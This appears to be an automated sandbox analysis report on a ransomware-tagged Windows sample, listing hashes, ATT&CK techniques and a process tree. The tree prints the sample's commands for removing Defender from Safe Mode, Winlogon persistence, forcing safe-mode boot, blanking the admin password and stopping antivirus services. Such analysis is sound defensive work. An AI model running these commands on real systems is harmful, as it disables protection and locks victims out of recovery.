1b8621d6e97ce87a8a5664699d285f417a5a08c40fb658aac9178dc5a6d4826c

Analysis

max time kernel
5s
max time network
3s
platform
windows7_x64
resource
win7v20210410
submitted
28-05-2021 09:57

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General

Target

5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe
Size

94KB
MD5

63f0ad9da8c823ca89c4c4ec0fce2c92
SHA1

89e66f83eee1e47b231c060034c55cd09cc84a98
SHA256

5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb
SHA512

55365e3a80e5266ad79189ab80d82a5954e284f0ae63ac8ab387e351edb96213158bd00973a3db95b1280d919757125fad527f54e2e340e8324f3a62628159c3

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Signatures

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1004

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "C:\\Users\\Admin\\AppData\\Local\\Temp\\5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe,C:\\Windows\\system32\\userinit.exe"	reg.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089
Modifies boot configuration data using bcdedit 1 TTPs 1 IoCs
ransomware evasion

Inhibit System Recovery
T1490

Processes:

bcdedit.exe

pid process

1492 bcdedit.exe

pid	process
1492	bcdedit.exe

Windows security modification 2 TTPs 1 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

1820 reg.exe
Runs net.exe

pid	process
1820	reg.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe

pid	process
1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe
1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe
1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe
1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe
1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe
1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe
1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe
1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe
1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe
1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe
1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe
1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe
1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe
1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe
1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe
1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe
1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe
1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe
1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe
1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe
1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe
1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe
1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe
1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe
1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe
1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe
1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe
1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe
1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe
1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe
1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe
1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe
1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe
1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe
1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe
1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe
1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe
1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe
1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe
1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe
1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe
1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe
1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe
1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe
1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe
1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe
1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe
1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe
1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe
1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe
1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe
1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe
1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe
1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe
1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe
1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe
1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe
1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe
1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe
1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe
1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe
1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe
1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe
1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exeshutdown.exe

description	pid	process
Token: SeDebugPrivilege	1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe
Token: SeShutdownPrivilege	1736	shutdown.exe
Token: SeRemoteShutdownPrivilege	1736	shutdown.exe

Suspicious use of WriteProcessMemory 33 IoCs

Processes:

5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exenet.exe

description	pid	process	target process
PID 1688 wrote to memory of 1820	1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe	reg.exe
PID 1688 wrote to memory of 1820	1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe	reg.exe
PID 1688 wrote to memory of 1820	1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe	reg.exe
PID 1688 wrote to memory of 1492	1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe	bcdedit.exe
PID 1688 wrote to memory of 1492	1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe	bcdedit.exe
PID 1688 wrote to memory of 1492	1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe	bcdedit.exe
PID 1688 wrote to memory of 1984	1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe	reg.exe
PID 1688 wrote to memory of 1984	1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe	reg.exe
PID 1688 wrote to memory of 1984	1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe	reg.exe
PID 1688 wrote to memory of 2000	1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe	net.exe
PID 1688 wrote to memory of 2000	1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe	net.exe
PID 1688 wrote to memory of 2000	1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe	net.exe
PID 1688 wrote to memory of 1736	1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe	shutdown.exe
PID 1688 wrote to memory of 1736	1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe	shutdown.exe
PID 1688 wrote to memory of 1736	1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe	shutdown.exe
PID 2000 wrote to memory of 1912	2000	net.exe	net1.exe
PID 2000 wrote to memory of 1912	2000	net.exe	net1.exe
PID 2000 wrote to memory of 1912	2000	net.exe	net1.exe
PID 1688 wrote to memory of 1728	1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe	powershell.exe
PID 1688 wrote to memory of 1728	1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe	powershell.exe
PID 1688 wrote to memory of 1728	1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe	powershell.exe
PID 1688 wrote to memory of 568	1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe	net.exe
PID 1688 wrote to memory of 568	1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe	net.exe
PID 1688 wrote to memory of 568	1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe	net.exe
PID 1688 wrote to memory of 1540	1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe	net.exe
PID 1688 wrote to memory of 1540	1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe	net.exe
PID 1688 wrote to memory of 1540	1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe	net.exe
PID 1688 wrote to memory of 1388	1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe	net.exe
PID 1688 wrote to memory of 1388	1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe	net.exe
PID 1688 wrote to memory of 1388	1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe	net.exe
PID 1688 wrote to memory of 768	1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe	net.exe
PID 1688 wrote to memory of 768	1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe	net.exe
PID 1688 wrote to memory of 768	1688	5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe	net.exe

C:\Users\Admin\AppData\Local\Temp\5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe
"C:\Users\Admin\AppData\Local\Temp\5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe"
1⤵
- Windows security modification
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1688
- C:\Windows\system32\reg.exe
  "reg.exe" delete HKLM\System\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend /f
  2⤵
  - Modifies registry key
  PID:1820
- C:\Windows\system32\reg.exe
  "reg.exe" add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\5e998fa65c06064bc6207bbfcc92ba0ec86a56b7537064076000cbc24a7878eb.bin.sample.exe","C:\Windows\system32\userinit.exe" /f
  2⤵
  - Modifies WinLogon for persistence
  PID:1984
- C:\Windows\system32\bcdedit.exe
  "bcdedit.exe" /set {default} safeboot network
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1492
- C:\Windows\system32\net.exe
  "net.exe" user Admin ""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2000
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user Admin ""
    3⤵
    PID:1912
- C:\Windows\system32\shutdown.exe
  "shutdown.exe" /r /t 0
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1736
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" Get-MpPreference -verbose
  2⤵
  PID:1728
- C:\Windows\system32\net.exe
  "net.exe" stop mfewc /y
  2⤵
  PID:1388
- C:\Windows\system32\net.exe
  "net.exe" stop BMR Boot Service /y
  2⤵
  PID:768
- C:\Windows\system32\net.exe
  "net.exe" stop McAfeeDLPAgentService /y
  2⤵
  PID:1540
- C:\Windows\system32\net.exe
  "net.exe" stop avpsus /y
  2⤵
  PID:568

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x0
1⤵
PID:908

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Winlogon Helper DLL

T1004

Privilege Escalation

Defense Evasion

Disabling Security Tools

T1089

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

memory/568-73-0x0000000000000000-mapping.dmp

Download
memory/768-79-0x0000000000000000-mapping.dmp

Download
memory/908-78-0x0000000002840000-0x0000000002841000-memory.dmp

Filesize
4KB

Download
memory/1388-77-0x0000000000000000-mapping.dmp

Download
memory/1492-63-0x0000000000000000-mapping.dmp

Download
memory/1540-75-0x0000000000000000-mapping.dmp

Download
memory/1688-60-0x0000000000D30000-0x0000000000D31000-memory.dmp

Filesize
4KB

Download
memory/1688-72-0x000000001AE80000-0x000000001AE82000-memory.dmp

Filesize
8KB

Download
memory/1728-69-0x000007FEFBB51000-0x000007FEFBB53000-memory.dmp

Filesize
8KB

Download
memory/1728-71-0x0000000002040000-0x0000000002041000-memory.dmp

Filesize
4KB

Download
memory/1728-68-0x0000000000000000-mapping.dmp

Download
memory/1728-76-0x000000001AD74000-0x000000001AD76000-memory.dmp

Filesize
8KB

Download
memory/1728-74-0x000000001AD70000-0x000000001AD72000-memory.dmp

Filesize
8KB

Download
memory/1736-66-0x0000000000000000-mapping.dmp

Download
memory/1820-62-0x0000000000000000-mapping.dmp

Download
memory/1912-67-0x0000000000000000-mapping.dmp

Download
memory/1984-64-0x0000000000000000-mapping.dmp

Download
memory/2000-65-0x0000000000000000-mapping.dmp

Download